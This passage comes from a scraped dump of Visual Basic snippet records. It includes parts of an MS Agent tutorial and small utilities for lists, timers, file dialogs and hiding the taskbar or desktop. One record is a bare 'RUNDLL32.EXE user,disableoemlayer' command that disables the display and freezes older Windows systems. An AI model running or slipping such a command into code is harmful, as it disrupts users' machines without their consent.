work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n"},{"WorldId":1,"id":13182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13189,"LineNumber":1,"line":"'Simple, just put the below code above \nany of your other codes, so if it has an error the program wont crash. \nOn Error Resume Next \n'It cant be more simple."},{"WorldId":1,"id":13190,"LineNumber":1,"line":"shell \"RUNDLL32.EXE user,disableoemlayer\"\n"},{"WorldId":1,"id":13192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13197,"LineNumber":1,"line":"Private Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPrivate Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\nPrivate Declare Function ShowWindow Lib \"user32\" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long\n\n\n\n\nSub Hide_Clock()\nShowWindow FindWindowEx(FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"TrayNotifyWnd\", vbNullString), 0&, \"TrayClockWClass\", vbNullString), 0\nEnd Sub\nSub Hide_Desktop()\nShowWindow FindWindowEx(FindWindowEx(FindWindow(\"Progman\", vbNullString), 0&, \"SHELLDLL_DefView\", vbNullString), 0&, \"SysListView32\", vbNullString), 0\nEnd Sub\nSub Hide_StartButton()\nShowWindow FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"Button\", vbNullString), 0\nEnd Sub\nSub Hide_TaskBar()\nShowWindow FindWindow(\"Shell_TrayWnd\", vbNullString), 0\nEnd Sub\nSub Hide_Tray()\nShowWindow FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"TrayNotifyWnd\", vbNullString), 0\nEnd Sub\nSub Show_Clock()\nShowWindow FindWindowEx(FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"TrayNotifyWnd\", vbNullString), 0&, \"TrayClockWClass\", vbNullString), 5\nEnd Sub\nSub Show_Desktop()\nShowWindow FindWindowEx(FindWindowEx(FindWindow(\"Progman\", vbNullString), 0&, \"SHELLDLL_DefView\", vbNullString), 0&, \"SysListView32\", vbNullString), 5\nEnd Sub\nSub Show_StartButton()\nShowWindow FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"Button\", vbNullString), 5\nEnd Sub\nSub Show_TaskBar()\nShowWindow FindWindow(\"Shell_TrayWnd\", vbNullString), 5\nEnd Sub\nSub Show_Tray()\nShowWindow FindWindowEx(FindWindow(\"Shell_TrayWnd\", vbNullString), 0&, \"TrayNotifyWnd\", vbNullString), 5\nEnd Sub"},{"WorldId":1,"id":13199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13213,"LineNumber":1,"line":"Public Function MoveListItem(LstBox As Object, WhatDir As Integer)\n 'WhatDir = 0 up, 1 down\n 'Returns -1 if nothing is selected\n 'Returns current position otherwise\n Dim CurPos As Integer, CurData As String, NewPos As Integer\n CurPos = LstBox.ListIndex\n If CurPos < 0 Then MoveListItem = -1: Exit Function\n CurData = LstBox.List(CurPos)\n If WhatDir = 0 Then\n 'Move Up\n If (CurPos - 1) < 0 Then NewPos = (LstBox.ListCount - 1) Else NewPos = (CurPos - 1)\n Else\n 'Move Down\n If (CurPos + 1) > (LstBox.ListCount - 1) Then NewPos = 0 Else NewPos = (CurPos + 1)\n End If\n LstBox.RemoveItem (CurPos)\n LstBox.AddItem CurData, NewPos\n LstBox.Selected(NewPos) = True\n MoveListItem = NewPos\nEnd Function"},{"WorldId":1,"id":13214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13244,"LineNumber":1,"line":"'Replace the text in the first timer with the following'\nPrivate Sub Timer1_Timer()\nLabel1.Caption = Time\nEnd Sub\n'Replace the text in the Second timer with the following'\nPrivate Sub Timer2_Timer()\nLabel2.Caption = Date\nEnd Sub\n'Remember make sure you set the timer intervals to 1'\n'and make sure the labels are blank'\n'otherwise it wont work!'"},{"WorldId":1,"id":13246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13275,"LineNumber":1,"line":"Function ListIsIn(lst As ListBox, zString As String) As Boolean\nOn Error Resume Next\nFor i = 0 To lst.ListCount\n If lst.List(i) = zString Then ListIsIn = True: GoTo grr\nNext i\nListIsIn = False\ngrr:\nEnd Function"},{"WorldId":1,"id":13276,"LineNumber":1,"line":"Sub ReportAddTo(lst As ListView, zString As String)\nDim bleh As ListItem\n'zString = \"One*Two*Three*Four*Five\"\nOn Error Resume Next\n\nSet bleh = lst.ListItems.Add(, , Split(zString, \"*\")(0))\n \nFor i = 1 To 200\n bleh.SubItems(i) = Split(zString, \"*\")(i)\nNext i\n\nEnd Sub"},{"WorldId":1,"id":13279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13286,"LineNumber":1,"line":"Option Explicit\nPublic Sub enableFrame(curFrame As Frame)\n ' purpose:\n ' set the .enabled property of all controls on a frame to\n ' the same state as the enabled state of the current frame\n Dim ctl As Control\n \n ' Loop through all controls on the current form\n For Each ctl In curFrame.Parent.Controls\n On Error Resume Next ' error checking, because not every control has\n ' a container property\n If ctl.Container.hWnd = curFrame.hWnd Then\n If Err.Number = 0 Then ' if we didn't receive an error code, proceed\n ctl.Enabled = curFrame.Enabled ' state of control same as Frame\n If TypeOf ctl Is Frame Then ' if the control is a frame itself then\n enableFrame ctl ' enter this procedure again for the current frame\n End If\n End If\n End If\n Next ctl\nEnd Sub\n"},{"WorldId":1,"id":13288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13300,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n Dim CtrlName As String, CtrlIdx As Integer\n Dim ClrSlct As Integer, ClrSlcted As Long\n Dim LblRow As Integer\n \n Randomize\n \n CtrlIdx = Rnd * 7\n \n Randomize\n \n ClrSlct = Rnd * 3\n \n Select Case ClrSlct\n Case 0\n ClrSlcted = &HFF00& 'Green\n Case 1\n ClrSlcted = &HFF& 'Red\n Case 2\n ClrSlcted = &HFF0000 'Blue\n Case 3\n ClrSlcted = &HFFFF& 'Yellow\n End Select\n \n Randomize\n \n LblRow = (Rnd * 1) + 1\n CtrlName = \"Label\" & LblRow\n \n Form1.Controls(CtrlName).Item(CtrlIdx).BackColor = ClrSlcted\n \nEnd Sub"},{"WorldId":1,"id":13305,"LineNumber":1,"line":"Private Sub Command1_Click()\nShell \"rundll32.exe url.dll,FileProtocolHandler _ File Path Name\""},{"WorldId":1,"id":13306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13339,"LineNumber":1,"line":"Private Sub MyFlexGrid_KeyPress(KeyAscii As Integer)\n'Provides manual data entry capability to flexgrid\n With MyFlexGrid\n Select Case KeyAscii\n Case vbKeyReturn\n If .Col + 1 <= .Cols - 1 Then\n .Col = .Cols - 1\n ElseIf .Row + 1 <= .Rows - 1 Then\n .Row = .Row + 1\n .Col = 0\n Else\n .Row = 1\n .Col = 0\n End If\n Case vbKeyBack\n If Trim(.Text) <> \"\" Then\n .Text = Mid(.Text, 1, Len(.Text) - 1)\n End If\n Case Is < 32\n \n Case Else\n If .Col = 0 Or .Row = 0 Then\n Exit Sub\n Else\n .Text = .Text & Chr(KeyAscii)\n End If\n \n \n \n End Select\n \n \n End With\n \nEnd Sub\n"},{"WorldId":1,"id":13350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13365,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13366,"LineNumber":1,"line":"Public Sub GetInternetFile(Inet1 As Inet, myURL As String, DestDIR As String)\n' Written by: Blake Pell\nDim myData() As Byte\nIf Inet1.StillExecuting = True Then Exit Sub\nmyData() = Inet1.OpenURL(myURL, icByteArray)\nFor X = Len(myURL) To 1 Step -1\n If Left$(Right$(myURL, X), 1) = \"/\" Then RealFile$ = Right$(myURL, X - 1)\nNext X\nmyFile$ = DestDIR + \"\\\" + RealFile$\nOpen myFile$ For Binary Access Write As #1\n Put #1, , myData()\nClose #1\nEnd Sub"},{"WorldId":1,"id":13368,"LineNumber":1,"line":"'This Function sets the Filters for the Common Dialog\n'It is basically the Same as in Commondialog OCX But when You want Multiple Filter Use as\n'\"All Files|*.*|Executable Files|*.exe\"\nPrivate Sub DialogFilter(WantedFilter As String)\n Dim intLoopCount As Integer\n strfileName.lpstrFilter = \"\"\n For intLoopCount = 1 To Len(WantedFilter)\n If Mid(WantedFilter, intLoopCount, 1) = \"|\" Then strfileName.lpstrFilter = _\n strfileName.lpstrFilter + Chr(0) Else strfileName.lpstrFilter = _\n strfileName.lpstrFilter + Mid(WantedFilter, intLoopCount, 1)\n Next intLoopCount\n strfileName.lpstrFilter = strfileName.lpstrFilter + Chr(0)\nEnd Sub\n'This is The Function To get the File Name to Open\n'Even If U don't specify a Title or a Filter it is OK\nPublic Function fncGetFileNametoOpen(Optional strDialogTitle As String = \"Open\", Optional strFilter As String = \"All Files|*.*\", Optional strDefaultExtention As String = \"*.*\") As String\nDim lngReturnValue As Long\nDim intRest As Integer\n strfileName.lpstrTitle = strDialogTitle\n strfileName.lpstrDefExt = strDefaultExtention\n DialogFilter (strFilter)\n strfileName.hInstance = App.hInstance\n strfileName.lpstrFile = Chr(0) & Space(259)\n strfileName.nMaxFile = 260\n strfileName.flags = &H4\n strfileName.lStructSize = Len(strfileName)\n lngReturnValue = GetOpenFileName(strfileName)\n fncGetFileNametoOpen = strfileName.lpstrFile\nEnd Function\n'This Function Returns the Save File Name\n'Remember, U have to Specify a Filter and default Extention for this\nPublic Function fncGetFileNametoSave(strFilter As String, strDefaultExtention As String, Optional strDialogTitle As String = \"Save\") As String\nDim lngReturnValue As Long\nDim intRest As Integer\n strfileName.lpstrTitle = strDialogTitle\n strfileName.lpstrDefExt = strDefaultExtention\n DialogFilter (strFilter)\n strfileName.hInstance = App.hInstance\n strfileName.lpstrFile = Chr(0) & Space(259)\n strfileName.nMaxFile = 260\n strfileName.flags = &H80000 Or &H4\n strfileName.lStructSize = Len(strfileName)\n lngReturnValue = GetSaveFileName(strfileName)\n fncGetFileNametoSave = strfileName.lpstrFile\nEnd Function\n"},{"WorldId":1,"id":13369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13423,"LineNumber":1,"line":" \nMs Agent -\nBeyond the Basics \n \nIntroduction\nThis is my fifth tutorial on Ms Agent. In\nthis tutorial I went beyond the basics, so even advanced VB coders will be able\nto use some of this code. This tutorial is VERY EXTENSIVE, but beginners never\nfear - as this tutorial is based on my other acclaimed tutorials for beginners,\nyou will be able to understand this tutorial with ease.\n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nFrequently Asked\nQuestions - Various related questions and their answers.\n \n \n \nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \nGetting to Know\nThe Different Characters\nAs far as I know, there are 4 different\ncharacters you can use with Ms Agent. You can download them all from the Ms\nAgent Developers Website ( <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n). Although you can configure each character to your own liking, they tend to\nconvey different types of impressions. \nPeedy -\nThe first agent character (I think). He is a temperamental parrot (that's the\nway I see him). I use him mostly to add sarcasm to my apps. Has an (sort of)\nannoying voice - squeaky in parroty sort of way. You use him to some cool stuff\nthough.\n \nGenie -\nCool little guy to add to your apps. Can do some neat stuff too! Use him to add\na touch of class and mystery to your apps. Has an OK voice and has a cool way of\nmoving around.\n \nMerlin -\nYour neighborhood Wizard! Always has the look that he is total control. Also has\na vague look of incomprehension (that's the way I see it!). Useful little dude\nbut I don't like the way he moves around (wears beanie and flies).\n \nRobby -\nProbably the newest addition to the series. Never got down to downloading him\nbut I hear that he is an Robot / Monkey?? \n \nWhat? You don't like any of\nthese characters? Wanna create you're own? It's not easy.. but you can give it a\nshot... Just visit the MSDN page for Ms Agent (check FAQs for web\naddress). \n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3" 'This\none works only for Peedy I think! - He listens to music!\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", 